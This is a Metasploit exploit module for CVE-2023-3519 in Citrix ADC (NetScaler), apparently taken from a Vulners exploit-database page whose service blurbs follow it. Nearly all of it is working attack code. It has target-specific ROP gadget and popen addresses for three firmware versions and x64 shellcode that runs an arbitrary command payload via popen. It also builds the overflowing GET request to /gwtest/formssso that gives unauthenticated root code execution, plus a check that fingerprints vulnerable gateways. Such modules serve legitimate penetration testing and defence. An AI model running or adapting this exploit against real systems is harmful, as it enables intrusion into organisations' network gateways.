`##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Citrix ADC (NetScaler) Forms SSO Target RCE',
'Description' => %q{
A vulnerability exists within Citrix ADC that allows an unauthenticated attacker to trigger a stack buffer
overflow of the nsppe process by making a specially crafted HTTP GET request. Successful exploitation results in
remote code execution as root.
},
'Author' => [
'Ron Bowes', # Analysis and module
'Douglass McKee', # Analysis and module
'Spencer McIntyre', # Just the module
],
'References' => [
['CVE', '2023-3519'],
['URL', 'https://attackerkb.com/topics/si09VNJhHh/cve-2023-3519'],
['URL', 'https://support.citrix.com/article/CTX561482/citrix-adc-and-citrix-gateway-security-bulletin-for-cve20233519-cve20233466-cve20233467']
],
'DisclosureDate' => '2023-07-18',
'License' => MSF_LICENSE,
'Platform' => ['unix'],
'Arch' => [ARCH_CMD],
'Payload' => {
# at a certain point too much of the stack will get corrupted, should be less than target['fixup_rsp_adjustment']
'Space' => 2048,
'DisableNops' => true
},
'Targets' => [
[
'Citrix ADC 13.1-48.47',
{
'fixup_return' => 0x00782403, # pop rbx; ns_aaa_cookie_valid
'fixup_rsp_adjustment' => 0x13a8,
'popen' => 0x01da6340,
'return' => 0x00611ae9, # jmp rsp; ns_create_cfg_nsp
'return_offset' => 168
},
],
[
'Citrix ADC 13.1-37.38',
{
'fixup_return' => 0x0077c324, # pop rbx; ns_aaa_cookie_valid
'fixup_rsp_adjustment' => 0x13a8,
'popen' => 0x01d7e320,
'return' => 0x015d131d, # jmp rsp; tfocookie_send_callback
'return_offset' => 168
},
],
[
'Citrix ADC 13.0-91.12',
{
'fixup_return' => 0x008530a2, # mov rbx, qword [rbp-0x28]; ns_aaa_cookie_valid
'fixup_rsp_adjustment' => 0x12e0,
# in this version the epilogue of ns_aaa_cookie_valid reads directly from rbp and since the exploit
# clobbers it, the value needs to be restored
'fixup_rbp_adjustment' => 0x190,
'popen' => 0x01f42ec0,
'return' => 0x024883bf, # jmp rsp; ns_pixl_eval_nvlist_t_typecast_list_t_dynamic
'return_offset' => 168
}
]
],
'DefaultOptions' => {
'RPORT' => 443,
'SSL' => true,
'WfsDelay' => 10
},
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'Base path', '/'])
])
end
def check
res = send_request_cgi({
'uri' => normalize_uri(datastore['TARGETURI'], 'logon', 'LogonPoint', 'index.html')
})
return CheckCode::Unknown if res.nil?
return CheckCode::Safe unless res.code == 200 && res.body =~ /<title class="_ctxstxt_NetscalerGateway">/
CheckCode::Detected
end
def exploit
shellcode = Metasm::Shellcode.assemble(Metasm::X64.new, Template.render(<<-SHELLCODE, target: target)).encode_string
call loc_popen_arg1
; add this to the path for python payloads
db "export PATH=/var/python/bin:$PATH;"
db "#{Rex::Text.to_hex(payload.encoded)}", 0
loc_popen_arg1:
pop rdi
call loc_popen_arg2
db "r", 0
loc_popen_arg2:
pop rsi
mov rax, <%= target['popen'] %>
sub rsp, 0x200
call rax
loc_return:
xor rax, rax
add rsp, <%= target['fixup_rsp_adjustment'] + 0x200 %>
<% if target['fixup_rbp_adjustment'] %>
mov rbp, rsp
add rbp, <%= target['fixup_rbp_adjustment'] %>
<% end %>
push <%= target['fixup_return'] %>
ret
SHELLCODE
buffer = rand_text_alphanumeric(target['return_offset'])
buffer << [target['return']].pack('Q')
buffer << shellcode.bytes.map { |b| (b < 0xa0) ? '%%%02x' % b : b.chr }.join
send_request_cgi({
'uri' => normalize_uri(datastore['TARGETURI'], 'gwtest', 'formssso'),
'encode_params' => false, # we'll encode them ourselves
'vars_get' => {
'event' => 'start',
'target' => buffer
}
})
end
class Template
def self.render(template, context = nil)
case context
when Hash
b = binding
locals = context.collect { |k, _| "#{k} = context[#{k.inspect}]; " }
b.eval(locals.join)
when NilClass
b = binding
else
raise ArgumentError
end
b.eval(Erubi::Engine.new(template).src)
end
end
end
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation